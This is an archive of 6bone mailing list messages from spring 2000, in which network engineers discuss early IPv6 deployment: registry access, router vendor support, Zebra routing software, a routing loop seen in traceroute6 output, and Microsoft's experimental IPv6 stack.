              Fri, 24 Mar 2000 10:27:20 +0900.
             <20000324102720N.koba@flab.fujitsu.co.jp> 
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Mo> Is there a WWW URL for this? I'd be quite interested in reading about it
Mo> before embarking on a hefty download :-)

koba> Sorry, currently no english page is available. Client setup
koba> information in Japanese is available at:
koba> http://www.pds-flab.rwcp.or.jp/SOCKS64/

We are making an English version of how to use socks64 web
page.  Please wait for the announcement coming in a few weeks.

koba> socks64-v10r10-20000322.tgz is only 34KB, so please try to download it. :-)

Please note that the distributed file is a patch to the
NEC's reference implementation.  

Jinzaki Akira, Fujitsu Laboratories LTD.


From 6bone-owner  Fri Mar 24 01:45:26 2000
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From: "Michal Ludvig" <michal@logix.cz>
Date: Fri, 24 Mar 2000 10:45:23 +0100 (CET)
To: 6bone@ISI.EDU
Subject: whois.6bone.net refuses connections
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Hello,
I wanted to add new objects to 6bone registry, but whois.6bone.net refuses
connections on smtp port 25 while sending e-mail to
auto-dbm@whois.6bone.net. I've also tried auto-dbm@isi.edu, which is
several time ment on http://www.6bone.net/RIPE-registry.html, but in this
case I got no reply within almost 12 hrs. 
I know this is not the right place for complaining, but I dont know any
better ;-) Maybe someone who could fix it or help me in another way would
read this mail too.

Have a nice day

Michal Ludvig



From 6bone-owner  Sun Mar 26 08:03:32 2000
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Date: Sun, 26 Mar 2000 21:26:35 +0530 (IST)
To: Michal Ludvig <michal@logix.cz>
cc: 6bone@ISI.EDU
Subject: Re: whois.6bone.net refuses connections
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On Fri, 24 Mar 2000, Michal Ludvig wrote:

> Hello,
> I wanted to add new objects to 6bone registry, but whois.6bone.net refuses
> connections on smtp port 25 while sending e-mail to
> auto-dbm@whois.6bone.net. I've also tried auto-dbm@isi.edu, which is
> several time ment on http://www.6bone.net/RIPE-registry.html, but in this
> case I got no reply within almost 12 hrs. 
> I know this is not the right place for complaining, but I dont know any
> better ;-) Maybe someone who could fix it or help me in another way would
> read this mail too.
> 
> Have a nice day
> 
> Michal Ludvig
> 
> 
> 

Hi, I have the same problems and now both whois.6bone.net and isi.edu smtp
are down...
Is there soem other way I can make entries into the RIPE whois database ?


From 6bone-owner  Sun Mar 26 14:25:59 2000
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Date: Mon, 27 Mar 2000 07:55:56 +0930
To: fd97202@bits-pilani.ac.in, Michal Ludvig <michal@logix.cz>
From: Bob Fink <fink@es.net>
Subject: Re: whois.6bone.net refuses connections
Cc: 6bone@ISI.EDU, David Kessens <david@iprg.nokia.com>
In-Reply-To: <Pine.SCO.3.96.1000326212520.13164A-100000@ipc.bits-pilani.
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At 09:26 PM 3/26/2000 +0530, fd97202@bits-pilani.ac.in wrote:


>On Fri, 24 Mar 2000, Michal Ludvig wrote:
>
> > Hello,
> > I wanted to add new objects to 6bone registry, but whois.6bone.net refuses
> > connections on smtp port 25 while sending e-mail to
> > auto-dbm@whois.6bone.net. I've also tried auto-dbm@isi.edu, which is
> > several time ment on http://www.6bone.net/RIPE-registry.html, but in this
> > case I got no reply within almost 12 hrs.
> > I know this is not the right place for complaining, but I dont know any
> > better ;-) Maybe someone who could fix it or help me in another way would
> > read this mail too.
> >
> > Have a nice day
> >
> > Michal Ludvig
> >
> >
> >
>
>Hi, I have the same problems and now both whois.6bone.net and isi.edu smtp
>are down...
>Is there soem other way I can make entries into the RIPE whois database ?

Please send me an example of what is not working as I can see no troubles. 
Please drop the 6bone list from this transaction.


Thanks,

Bob


From 6bone-owner  Sun Mar 26 17:53:12 2000
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From: ksb <ksbn@kt.co.kr>
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How are you?

Let's support the IMT-2000.
Which one is good for the IMT-2000?
(IPv4 or IPv6)

Thank you.
ksb

--
  Kim, Sahng-Beom / Korea Telecom
  TEL :    +82-42-870-8322
  FAX :    +82-42-870-8329
  E-mail :  ksbn@kt.co.kr
--




From 6bone-owner  Mon Mar 27 05:40:00 2000
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Date: Mon, 27 Mar 2000 08:39:02 -0500 (EST)
From: Greg Maxwell  <gmaxwell@Martin.FL.US>
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Subject: Router vendors
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What router vendors are currently making IPv6 support available in
production or near-production level systems?

I'm aware of Cisco's support in beta IOS and Nortel's support in their
older routers (but not their layer-3 switches).

Also, of those, which vendors support BGP4+ and OSPFv6?

Thanks for any info?

--
The comments and opinions expressed herein are those of the author of this 
message and may not reflect the policies of the Martin County Board of
County Commissioners.


From 6bone-owner  Mon Mar 27 12:03:45 2000
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From: "Balharek, Peter" <Peter.Balharek@icn.siemens.com>
To: Greg Maxwell <gmaxwell@Martin.FL.US>, 6bone@ISI.EDU
Subject: RE: Router vendors
Date: Mon, 27 Mar 2000 12:03:13 -0800
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Check http://playground.sun.com/pub/ipng/html/ipng-implementations.html


p.

 -----Original Message-----
From: 	Greg Maxwell [mailto:gmaxwell@Martin.FL.US] 
Sent:	Monday, March 27, 2000 5:39 AM
To:	6bone@ISI.EDU
Subject:	Router vendors


What router vendors are currently making IPv6 support available in
production or near-production level systems?

I'm aware of Cisco's support in beta IOS and Nortel's support in their
older routers (but not their layer-3 switches).

Also, of those, which vendors support BGP4+ and OSPFv6?

Thanks for any info?

--
The comments and opinions expressed herein are those of the author of this 
message and may not reflect the policies of the Martin County Board of
County Commissioners.

From 6bone-owner  Mon Mar 27 13:44:47 2000
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Date: Mon, 27 Mar 2000 16:41:12 -0500
To: 6bone@ISI.EDU
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: canet3 prefix
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Hi,
	for those of you who filter addresses, Canet3 has received the following 
prefix from ARIN and will begin to use it. So please change your filters 
accordingly.

    Netname: CANET3-IPV6
    Netnumber: 2001:0410:0000:0000:0000:0000:0000:0000/35


Thanks, Marc.

Marc Blanchet
Viagénie inc.
tel: 418-656-9254
http://www.viagenie.qc.ca

----------------------------------------------------------
Normos (http://www.normos.org): Internet standards portal:
IETF RFC, drafts, IANA, W3C, ATMForum, ISO, ... all in one place.


From 6bone-owner  Mon Mar 27 17:30:21 2000
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To: gmaxwell@Martin.FL.US
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Cc: atarashi@ebina.hitachi.co.jp
Subject: Re: Router vendors
From: Yoshifumi Atarashi<atarashi@ebina.hitachi.co.jp>
In-Reply-To: Your message of "Mon, 27 Mar 2000 08:39:02 -0500 (EST)"
	<Pine.GSO.3.96.1000327083538.5817E-100000@da1server>
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From: Greg Maxwell  <gmaxwell@Martin.FL.US>
Subject: Router vendors
Date: Mon, 27 Mar 2000 08:39:02 -0500 (EST)


> What router vendors are currently making IPv6 support available in
> production or near-production level systems?

HITACHI GR2000 IPv6  beta version is already ready.

> I'm aware of Cisco's support in beta IOS and Nortel's support in their
> older routers (but not their layer-3 switches).
> 
> Also, of those, which vendors support BGP4+ and OSPFv6?

Of cource , supported  BGP4+
----
   Yoshifumi Atarashi
                 Hitachi, Ltd.  Enterprise Sever Division
                         Network System Center

From 6bone-owner  Mon Mar 27 21:18:38 2000
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	 <itojun@iijlab.net>,
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Subject: Path MTU in IPv6
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How does transport layers are innformed about ICMP "packet too big message" ?
and what is the best way?

thanks in advance,
murali.



From 6bone-owner  Tue Mar 28 04:45:12 2000
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Subject: Re: Router vendors
In-Reply-To: <20000328103027N.atarashi@ebina.hitachi.co.jp> from Yoshifumi Atarashi at "Mar 28, 2000 10:30:27 am"
To: atarashi@ebina.hitachi.co.jp (Yoshifumi Atarashi)
Date: Tue, 28 Mar 2000 20:44:05 +0800 (CST)
Cc: 6bone@ISI.EDU
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hi,
  We are using NOKIA IP650 in CERNET IPv6 testbed. It can provide
support for IPv6, but funcitions are limited.
  best
            wood
               CERNET IPv6 Testbed
> From: Greg Maxwell  <gmaxwell@Martin.FL.US>
> Subject: Router vendors
> Date: Mon, 27 Mar 2000 08:39:02 -0500 (EST)
> 
> 
> > What router vendors are currently making IPv6 support available in
> > production or near-production level systems?
> 
> HITACHI GR2000 IPv6  beta version is already ready.
> 
> > I'm aware of Cisco's support in beta IOS and Nortel's support in their
> > older routers (but not their layer-3 switches).
> > 
> > Also, of those, which vendors support BGP4+ and OSPFv6?
> 
> Of cource , supported  BGP4+
> ----
>    Yoshifumi Atarashi
>                  Hitachi, Ltd.  Enterprise Sever Division
>                          Network System Center
> 


From 6bone-owner  Tue Mar 28 05:22:04 2000
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Date: Tue, 28 Mar 2000 08:20:56 -0500 (EST)
From: Greg Maxwell <gmaxwell@Martin.FL.US>
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Reply-To: Greg Maxwell <gmaxwell@Martin.FL.US>
To: HANSEN CHAN <hchan@newbridge.com>
cc: Yoshifumi Atarashi <atarashi@ebina.hitachi.co.jp>, 6bone@ISI.EDU
Subject: Re: Router vendors
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On Tue, 28 Mar 2000, HANSEN CHAN wrote:

> Can someone enlighten me which IGP will be used in IPv6? RIPng or OSPFv6? I
> understand that RIPng was extensively used (and probably still is). But will
> OSPFv6 replace RIPng in the same way OSPFv2 replacing RIPv2?
> 
> Which IGP being used in 6bone?

Since there is no complete v6 OSPF implimentation (zebra is working on it)
that I've been able to find, I must assume that RIPng is the IGP of choice
on the 6bone.  However, I expect there is not a lot of IGP use on the
6bone at all right now, because most participants only have a small test
bed of v6 networks.

>From what I can tell RIPng has all the problems that RIPv2 has in a large
highly-interconnected enviroment (little ability to handle multiple link
speeds correctly, slow convergence time, lots of traffic from big routing 
tables). RIP is just a lot easier to impliment then OSPF.

The reason I was asking about router and routing support, is we are
currently implimenting a MAN, and infrastructure IPv6 support is important
to us. I was already aware of the vendors on the ipng-implementations.html
page, but I was hoping that there was someone I was missing. 

--
The comments and opinions expressed herein are those of the author of this
message and may not reflect the policies of the Martin County Board of
County Commissioners.


From 6bone-owner  Tue Mar 28 08:49:38 2000
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Date: Mon, 27 Mar 2000 19:12:32 -0500
To: Jun-ichiro itojun Hagino <itojun@iijlab.net>
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: Re: canet3 prefix 
Cc: 6bone@ISI.EDU
In-Reply-To: <9836.954204772@lychee.itojun.org>
References: <Marc.Blanchet's message of Mon, 27 Mar 2000 16:41:12 EST. <4.2.2.20000327163907.014761f8@mail.viagenie.qc.ca>
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At/À 09:52 2000-03-28 +0900, Jun-ichiro itojun Hagino you wrote/vous écriviez:

> >Hi,
> >       for those of you who filter addresses, Canet3 has received the 
> following
> >prefix from ARIN and will begin to use it. So please change your filters
> >accordingly.
> >    Netname: CANET3-IPV6
> >    Netnumber: 2001:0410:0000:0000:0000:0000:0000:0000/35
>
>         I see no route on 6TAP for the above, nor WIDE/IIJ EBGP routers.
>         From where do you announce it?

see above: "and will begin to use it".

We have to renumber... ;-))) which should be easy in IPv6... ;-)))

>We allow 2001::/29-35 properly.

then, you are fine!

Marc.


>itojun


Marc Blanchet
Viagénie inc.
tel: 418-656-9254
http://www.viagenie.qc.ca

----------------------------------------------------------
Normos (http://www.normos.org): Internet standards portal:
IETF RFC, drafts, IANA, W3C, ATMForum, ISO, ... all in one place.


From 6bone-owner  Tue Mar 28 11:39:43 2000
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Date: Tue, 28 Mar 2000 12:39:46 -0700 (MST)
From: Miles Nordin <carton@Ivy.NET>
To: 6bone@ISI.EDU
Subject: Re: Router vendors
In-Reply-To: <Pine.GSO.3.96.1000328081319.20766B-100000@da1server>
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On Tue, 28 Mar 2000, Greg Maxwell wrote:

> I was already aware of the vendors on the ipng-implementations.html
> page, but I was hoping that there was someone I was missing. 

It would also be nice if further additions to that file on playground were
_dated_, so we would not have to guess which comments are two or three
years old and thus overly pessimistic.

-- 
Miles Nordin / v:+1 720 841-8308 fax:+1 530 579-8680
555 Bryant Street PMB 182 / Palo Alto, CA 94301-1700 / US



From 6bone-owner  Wed Mar 29 02:05:22 2000
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From: Bill Sommerfeld <sommerfeld@orchard.arlington.ma.us>
To: 6bone@ISI.EDU
Subject: broken routing from ietf due to stale routes..
Date: Wed, 29 Mar 2000 19:35:16 +0930
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Pardon the scattershot nature of this..

I was able to get "home" to 3ffe:1ce1::/32 from IETF earlier in the
week but it appears that it's broken at the moment..  

I'm seeing an apparent routing loop:

% traceroute6 hydra.hamachi.org.
traceroute to hydra.hamachi.org (3ffe:1ce1:0:fe01:2a0:ccff:fe3d:86d), 30 hops max, 12 byte packets
 1  2001:210:1:2:2d0:baff:fe0e:5df0  97.407 ms  98.844 ms *
 2  3ffe:b00:c18:502::1  427.993 ms  510.237 ms  507.608 ms
 3  3ffe:b00:c18::11  819.231 ms * *
 4  * * 3ffe:31ff:0:ffff::11  1397.85 ms
 5  * * 3ffe:3600::b  1370.59 ms
 6  3ffe:2100:1:9:0:c46:b898:e  1518.53 ms *  1553.94 ms
 7  pao-6r1-if.6r1.cambridge.ip6.pipex.net  1637.93 ms  1841.65 ms  1640.81 ms
 8  * cisco-if.6r1.paloalto.ip6.pipex.net  1663.44 ms  1636.38 ms
 9  * * *
10  * * *
11  3ffe:b00:c18::11  1882.54 ms *  1743.73 ms
12  3ffe:31ff:0:ffff::11  2349.23 ms * pao-6r1-if.6r1.cambridge.ip6.pipex.net  1972.6 ms
13  * cisco-if.6r1.paloalto.ip6.pipex.net  1956.88 ms *
14  * * *
15  * * 3ffe:1b00:0:ffff::f004  2759.76 ms
16  * * *
17  * * *
18  3ffe:3600::b  3055.94 ms * *
19  3ffe:2100:1:9:0:c46:b898:e  3204.05 ms  2972.77 ms  2872.28 ms
20  * * pao-6r1-if.6r1.cambridge.ip6.pipex.net  2809.26 ms
21  cisco-if.6r1.paloalto.ip6.pipex.net  2784.63 ms * *

3ffe:1ce1::/32 is announced from MIT (AS3) only to MERIT.    

There appear to be a few dozen stale more-specific routes from MERIT
listed in http://carmen.cselt.it/ipv6/bgp/odd-routes2.html,
3ffe:1ce1::/32 being one of them..

The AS path shown in that web page:

	UUNET-UK - UL - RCCN - RNP - CISCO - ISI-LAP - SPACENET-D - SMS -
	AS2839 - TELEBIT - CHTTL-TW - ETRI - JOIN - IPF - CAIRN - MERIT

Anyone in a position to clear these up?  Thanks..

					- Bill


From 6bone-owner  Wed Mar 29 06:03:20 2000
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From: Haisang Wu <hswu@ns.6test.edu.cn>
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Subject: Where is MS's IPv6 stack
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Hi, friends:
  I heard that MSR has developed IPv6 stack for win2000 and winNT4.0.
  who can give me an URL to download?
  Thanks.
     wood

From 6bone-owner  Wed Mar 29 13:18:05 2000
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Date: Wed, 29 Mar 2000 15:16:49 -0500 (EST)
From: Greg Maxwell <gmaxwell@Martin.FL.US>
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To: HANSEN CHAN <hchan@newbridge.com>
cc: Yoshifumi Atarashi <atarashi@ebina.hitachi.co.jp>, 6bone@ISI.EDU
Subject: Re: Router vendors
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On Wed, 29 Mar 2000, HANSEN CHAN wrote:

> Can you enlighten me on what is zebra? A new startup???

No. Zebra is routing software for Unix-ish systems.
It's got a realtime command like interface that is very ciscoish.

When combined with the iproute2 code in Linux 2.2.x and netfilter you have
a very feature complete router:

* IPv4, IPv6 (I think some of the nat and firewalling is v4 only)
* Route based on source, tos, port, virtually anything
* BGP4, BGP-4+, RIPv1, RIPv2, RIPng, OSPFv2 and OSPFv3
* Full CBQ, RED, Fairness, prio, Token bucket, traffic control
* Partial ATM support (UBR, CBR, AAL5, limited Lane)
* Diffserve and RSVP
* Multicast routing (pim,dvmrp)
* Every interface type under the sun.
* Full nat (one-one, many-one, various other forms of pervresion) (yuck)
* Advanced firewalling (stateful and nonstateful, the stateful parts are
seperate and require a differnt module, so you know when you are killing
your reliability)

Not at all bad, though the latency isn't great. There is very limited
support for 'Fastroute' on some nics, but most of the above features won't
work with it. Fastroute basically does nic-nic transfers..

Neat stuff.


From 6bone-owner  Wed Mar 29 17:30:28 2000
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Date: Thu, 30 Mar 2000 10:22:16 +0900
Subject: Re: Where is MS's IPv6 stack
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the site that you should be looking,

http://www.research.microsoft.com/msripv6/





Haisang Wu <hswu@ns.6test.edu.cn> on 03/29/2000 03:02:41 PM

To:   6bone@ISI.EDU
cc:    (bcc: Ettikan Kandasamy/NTTMSC)

Subject:  Where is MS's IPv6 stack




Hi, friends:
  I heard that MSR has developed IPv6 stack for win2000 and winNT4.0.
  who can give me an URL to download?
  Thanks.
     wood





From 6bone-owner  Thu Mar 30 05:15:45 2000
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Date: Thu, 30 Mar 2000 08:14:39 -0500 (EST)
From: Greg Maxwell  <gmaxwell@Martin.FL.US>
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To: HANSEN CHAN <hchan@newbridge.com>
cc: Yoshifumi Atarashi <atarashi@ebina.hitachi.co.jp>, 6bone@ISI.EDU
Subject: Re: Router vendors
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http://www.zebra.org/

http://www.ds9a.nl/2.4Routing/   - A howto on Linux's traffic control


ftp://ftp.inr.ac.ru/ip-routing/iproute2-current.tar.gz
For the Linux advanced routing tools.

On Wed, 29 Mar 2000, HANSEN CHAN wrote:

> Hello Greg,
> 
> Now that you have sold me on this, can you provide a URL to Zebra?
> 
> Thanks,
> Hansen
> 
> Greg Maxwell wrote:
> 
> > On Wed, 29 Mar 2000, HANSEN CHAN wrote:
> >
> > > Can you enlighten me on what is zebra? A new startup???
> >
> > No. Zebra is routing software for Unix-ish systems.
> > It's got a realtime command like interface that is very ciscoish.
> >
> > When combined with the iproute2 code in Linux 2.2.x and netfilter you have
> > a very feature complete router:
> >
> > * IPv4, IPv6 (I think some of the nat and firewalling is v4 only)
> > * Route based on source, tos, port, virtually anything
> > * BGP4, BGP-4+, RIPv1, RIPv2, RIPng, OSPFv2 and OSPFv3
> > * Full CBQ, RED, Fairness, prio, Token bucket, traffic control
> > * Partial ATM support (UBR, CBR, AAL5, limited Lane)
> > * Diffserve and RSVP
> > * Multicast routing (pim,dvmrp)
> > * Every interface type under the sun.
> > * Full nat (one-one, many-one, various other forms of pervresion) (yuck)
> > * Advanced firewalling (stateful and nonstateful, the stateful parts are
> > seperate and require a differnt module, so you know when you are killing
> > your reliability)
> >
> > Not at all bad, though the latency isn't great. There is very limited
> > support for 'Fastroute' on some nics, but most of the above features won't
> > work with it. Fastroute basically does nic-nic transfers..
> >
> > Neat stuff.
> 
> 


From 6bone-owner  Thu Mar 30 07:08:07 2000
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Date: Thu, 30 Mar 2000 20:31:51 +0530 (IST)
To: 6bone@ISI.EDU
Subject: Tunnel routing...
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Hi,
   I have three configured tunnels. How should I route traffic through
these three tunnels as to achieve max efficiency ?..All three tunnels are
almost equal hop counts away. Or should I route all prefixes (i.e.
3ffe::/16 2002::/16 2001::/16) through all of them.. How can i load
balance between my tunnels ?. 

thanking you,
deepak
IPv6 Group 
BITS,Pilani.
 


From 6bone-owner  Thu Mar 30 07:31:22 2000
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	Thu, 30 Mar 2000 20:49:37 GMT
Date: Thu, 30 Mar 2000 20:54:47 +0530 (IST)
To: Bill Sommerfeld <sommerfeld@orchard.arlington.ma.us>
cc: 6bone@ISI.EDU
Subject: Re: broken routing from ietf due to stale routes..
In-Reply-To: <200003291005.TAA13542@thunk.hamachi.org>
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Hi,
   Can u please say what all those '*'s mean in ping...


-Deepak	


On Wed, 29 Mar 2000, Bill Sommerfeld wrote:

> Pardon the scattershot nature of this..
> 
> I was able to get "home" to 3ffe:1ce1::/32 from IETF earlier in the
> week but it appears that it's broken at the moment..  
> 
> I'm seeing an apparent routing loop:
> 
> % traceroute6 hydra.hamachi.org.
> traceroute to hydra.hamachi.org (3ffe:1ce1:0:fe01:2a0:ccff:fe3d:86d), 30 hops max, 12 byte packets
>  1  2001:210:1:2:2d0:baff:fe0e:5df0  97.407 ms  98.844 ms *
>  2  3ffe:b00:c18:502::1  427.993 ms  510.237 ms  507.608 ms
>  3  3ffe:b00:c18::11  819.231 ms * *
>  4  * * 3ffe:31ff:0:ffff::11  1397.85 ms
>  5  * * 3ffe:3600::b  1370.59 ms
>  6  3ffe:2100:1:9:0:c46:b898:e  1518.53 ms *  1553.94 ms
>  7  pao-6r1-if.6r1.cambridge.ip6.pipex.net  1637.93 ms  1841.65 ms  1640.81 ms
>  8  * cisco-if.6r1.paloalto.ip6.pipex.net  1663.44 ms  1636.38 ms
>  9  * * *
> 10  * * *
> 11  3ffe:b00:c18::11  1882.54 ms *  1743.73 ms
> 12  3ffe:31ff:0:ffff::11  2349.23 ms * pao-6r1-if.6r1.cambridge.ip6.pipex.net  1972.6 ms
> 13  * cisco-if.6r1.paloalto.ip6.pipex.net  1956.88 ms *
> 14  * * *
> 15  * * 3ffe:1b00:0:ffff::f004  2759.76 ms
> 16  * * *
> 17  * * *
> 18  3ffe:3600::b  3055.94 ms * *
> 19  3ffe:2100:1:9:0:c46:b898:e  3204.05 ms  2972.77 ms  2872.28 ms
> 20  * * pao-6r1-if.6r1.cambridge.ip6.pipex.net  2809.26 ms
> 21  cisco-if.6r1.paloalto.ip6.pipex.net  2784.63 ms * *
> 
> 3ffe:1ce1::/32 is announced from MIT (AS3) only to MERIT.    
> 
> There appear to be a few dozen stale more-specific routes from MERIT
> listed in http://carmen.cselt.it/ipv6/bgp/odd-routes2.html,
> 3ffe:1ce1::/32 being one of them..
> 
> The AS path shown in that web page:
> 
> 	UUNET-UK - UL - RCCN - RNP - CISCO - ISI-LAP - SPACENET-D - SMS -
> 	AS2839 - TELEBIT - CHTTL-TW - ETRI - JOIN - IPF - CAIRN - MERIT
> 
> Anyone in a position to clear these up?  Thanks..
> 
> 					- Bill
> 
> 


From 6bone-owner  Mon Apr  3 18:47:28 2000
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From: Haisang Wu <hswu@ns.6test.edu.cn>
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Subject: Re: Where is MS's IPv6 stack
In-Reply-To: <NDBBIHGIMLHECOLBHAACEEBACKAA.ck@arch.bellsouth.net> from Christian Kuhtz at "Apr 3, 2000  5:27:44 pm"
To: ck@arch.bellsouth.net (Christian Kuhtz)
Date: Tue, 4 Apr 2000 09:46:17 +0800 (CST)
Cc: 6bone@ISI.EDU
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hi,
  I have successfully installed IPv6 stack in Win2000. The installation
process is rather simple. But I have not tested any performance of this
version of stack.
  best
                    Haisang

> 
> Has anyone actually gotten this stack to work?  I have not been able to.  After
> install I get an "invalid interrupt" (??) error, which promptly disappears
> again after the IPv6 stack is uninstalled...
> 
> Cheers,
> Chris
> 
> --
> Christian Kuhtz, Sr. Network Architect              Architecture, BellSouth.net
> <ck@arch.bellsouth.net> -wk, <ck@gnu.org> -hm                       Atlanta, GA
>                                                     "Speaking for myself only."
> 
> 
> 

From 6bone-owner  Mon Apr  3 21:26:13 2000
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Date: Tue, 04 Apr 2000 12:20:57 +0800
From: Yann-Ju Chu <yjchui@ms.chttl.com.tw>
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To: 6Bone <6bone@ISI.EDU>
Subject: About interface id in aggregatable global unicast address
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I have one question about aggregatable global unicast address:

In the format, there is one "Interface ID" field, which is 64-bit long.
I think the length is too long and waste address space. (The field make
the network part of IPv6 address to less than 64 bits)
Since the requirement of
the field is to make the interface on a link unique, why we use other
method, such
as EUI-48 only (only as an example), for the field?


--
---------------------------------
      Yann-Ju Chu
    Telecommunication Laboratories
    ChungHwa Telecom Co., Ltd.
    TEL: +886 3 424-5681
    FAX: +886 3 424-4888
    http://www.chttl.com.tw
---------------------------------



From 6bone-owner  Tue Apr  4 01:54:53 2000
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From: Xavier Mertens <xavier@euro.net>
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To: 6bone@ISI.EDU
Subject: Looking for /48
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Hi *,

We have big problems with NL.net! We had a /24 for months now and suddenly, we
lost our IPv6 connecty! :-(

We are now looking for an ISP which can asssign us a new sub-TLA and a tunnel...

Thanks for your help!

--
Xavier Mertens,         .  .   EuroNet Internet  "Contrary to popular belief, 
NOC Manager          .      *  a subsidiary of    Unix is userfriendly. It
XM3-RIPE XM1-6BONE  .          France Telecom     just happens to be selective
                                                  about who it makes friends
                                                  with."


From 6bone-owner  Tue Apr  4 01:55:36 2000
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From: Xavier Mertens <xavier@euro.net>
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Oups! It's not /24 but /48... :)

X

--
Xavier Mertens,         .  .   EuroNet Internet  "Contrary to popular belief, 
NOC Manager          .      *  a subsidiary of    Unix is userfriendly. It
XM3-RIPE XM1-6BONE  .          France Telecom     just happens to be selective
                                                  about who it makes friends
                                                  with."

On Tue, 4 Apr 2000, Xavier Mertens wrote:

> Hi *,
> 
> We have big problems with NL.net! We had a /24 for months now and suddenly, we
> lost our IPv6 connecty! :-(
> 
> We are now looking for an ISP which can asssign us a new sub-TLA and a tunnel...
> 
> Thanks for your help!
> 
> --
> Xavier Mertens,         .  .   EuroNet Internet  "Contrary to popular belief, 
> NOC Manager          .      *  a subsidiary of    Unix is userfriendly. It
> XM3-RIPE XM1-6BONE  .          France Telecom     just happens to be selective
>                                                   about who it makes friends
>                                                   with."
> 


From 6bone-owner  Tue Apr  4 06:40:46 2000
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To: Yann-Ju Chu <yjchui@ms.chttl.com.tw>
Cc: 6Bone <6bone@ISI.EDU>
From: "Matt Crawford" <crawdad@fnal.gov>
Subject: Re: About interface id in aggregatable global unicast address 
In-reply-to: Your message of Tue, 04 Apr 2000 12:20:57 +0800.
             <38E96DA8.3083B0F0@ms.chttl.com.tw> 
Date: Tue, 04 Apr 2000 08:40:42 -0500
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> I think the length is too long and waste address space. (The field
> make the network part of IPv6 address to less than 64 bits) Since
> the requirement of the field is to make the interface on a link
> unique, why we use other method, such as EUI-48 only (only as an
> example), for the field?

1. Some media do not have a 48 bit identifier, but a 64-bit one, and
an IEEE-defined mapping exists from 48 to 64 bit identifiers.

2. Some router implementors have claimed that routing on 64 bits
rather than 80 can be significantly faster.

3. The door is left open by this choice to some future scheme in
which the interface identifier is a globally unique identifier for a
node.

From 6bone-owner  Tue Apr  4 11:00:55 2000
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To: Mo McKinlay <mmckinlay@interopen.org>
Cc: 6Bone <6bone@ISI.EDU>
From: "Matt Crawford" <crawdad@fnal.gov>
Subject: Re: About interface id in aggregatable global unicast address 
In-reply-to: Your message of Tue, 04 Apr 2000 18:43:24 BST.
             <Pine.LNX.4.04.10004041842160.10761-100000@inet-gw0.labs.ekto.org>
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> I hope this eases some confusion, but by globally unique identifier, I
> assume you don't mean RFC-defined UUIDs/GUIDs, as these are 128-bits long.

RFC-defined?  Not in any IETF RFC I can see.  Some RFCs reference DCE
UUIDs or ISO-11578.  But in any case, IPv6 addressing has nothing to
do with any UUID or GUID.

From 6bone-owner  Tue Apr  4 12:43:03 2000
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Subject: Re: About interface id in aggregatable global unicast address
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As far as I know, although the Open Group UUID/GUID stuff was proposed
for RFC publication in 1998, it was not published. At that time it had
the defect of only supporting 48 bit IEEE addresses, not the complete
EUI-64 format. In any case, as Matt says, that has nothing to do
with IPv6, which does support EUI-64 identifiers.

  Brian

Matt Crawford wrote:
> 
> > I hope this eases some confusion, but by globally unique identifier, I
> > assume you don't mean RFC-defined UUIDs/GUIDs, as these are 128-bits long.
> 
> RFC-defined?  Not in any IETF RFC I can see.  Some RFCs reference DCE
> UUIDs or ISO-11578.  But in any case, IPv6 addressing has nothing to
> do with any UUID or GUID.

From 6bone-owner  Wed Apr  5 11:29:26 2000
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Date: Wed, 05 Apr 2000 13:26:40 -0500
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To: 6Bone Mailing List <6bone@ISI.EDU>
Subject: IPv6 and IPSec in real life....
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Here's what I have right now:

(Best viewed in a fixed font)

+-----+
|     |          A:  Windows 95 machine using a Random Address 
|  A  |-----+        from a local ISP.
|     |     |    B:  NetBSD-current running KAME
+-----+     |    C:  Corporate Office
            |            +-----+
+---+  +----+-----+      |     |
| C |--| Internet +------+  B  +-------{ Local non-routable network }
+---+  +----+-----+      |     |
                         +-----+

Here's where I want to end up:

+-----+
|     |          A:  Cisco 675 ADSL router (with a new static address) 
|  A  |-----+        connected to a pair of Win-95  machines (with 
|     |     |        non-routable NATed addresses).
+-----+     |    B:  NetBSD-current running KAME
            |    C:  Corporate Office
            |            +-----+
+---+  +----+-----+      |     |
| C |--| Internet +------+  B  +-------{ Local non-routable network }
+---+  +----+-----+      |     |
                         +-----+

Clearly, I need a VPN solution, and since (B) already has IPSec and 
IPv6 loaded and working, could someone make some recommendations 
about what I need to research to figure out a workable solution for
the Interconnect.

Here are some specifics:

"A" goes from being a single computer, connected via modem, on 
Monday, the 10th.  Right now, it has no access to Network "B".

"A" has a connection to the Internet (through a dial-up).  
"B" has a T-1 through an ISP.

All of the sessions from "A" and "B" to the Corporate Office "C" are
through a commercial VPN client.  We might be able to use that if
we can figure out the mechanism to make it work.  Our corporate 
"solution" for IPSec VPN under Win-95 is "IntraPort", which I'm 
apparently just too stupid to figure out.

We want the folks on Lan "B" to appear to be on Lan "A" without 
having to put in more hardware.  We want them to be able to access 
our printers and other shared resources.  We also want the traffic
to be relatively secure.  Simple IP-IP encapsulation has already been
vetoed.

Things I've already considered:

1)  Upgrading the machines in box A to Windows-2000 and running the
experimental IPv6 stuff on them. This is problematic from several 
reasons, not the least of them is the lack of IPv6 at the ISP.  If
we do that, we will need to use v4/v6 tunnelling from the W2K boxes
to the local IPv6 gateway.

2)  Installing another NetBSD/KAME box to act as a v4/v6 tunnel end.
This is workable, but it requires us to go through the rigamarole of
getting another computer.  It also requires me to be in two places at
the same time during configuration.

3)  Using IntraPort, which except for some things that I can't figure 
out, would be OK.

I'm not necessarily looking for a solution (although I certainly 
wouldn't turn one down).  I'm just looking for some suggestions.
My corporate office just puts their fingers in their ears and hums
whenever I ask them the question, which is fine.  I think I'll 
probably get a better answer here than I would from them anyway.

Dave Burgess


From 6bone-owner  Wed Apr  5 14:31:59 2000
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From: "Gregg C Levine" <hansolofalcon@worldnet.att.net>
To: "6bone" <6bone@ISI.EDU>
Subject: 6bone and RSVP
Date: Wed, 5 Apr 2000 17:31:54 -0400
Keywords: Miscellaneous
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Hello from Gregg C Levine usually with Jedi Knight Computers
Just out curiosity, has anyone since I asked this question: (Anyone using
the RSVP protocol on the 6Bone?) Done anything like that? I ask because I/We
are looking for solutions, I am getting favorable responses from the RSVP
list also hosted at ISI, but I am curious still about this one. Next up, is
anyone aware of a service provider that has 6bone support, and dial up
access? Everytime I pose this question to the people at this ISP (AT&T
Worldnet) their responses range from "What?!?", to "Never even heard of it."
I would even appreciate a service provider who can provide me access after
dialling to the Internet from AT&T Worldnet. Please respond to all questions
off line, as I do not want to crowd the mailling list with responses.
Gregg C Levine mailto:hansolofalcon@worldnet.att.net
"Use the Force, Luke." Obi-Wan Kenobi
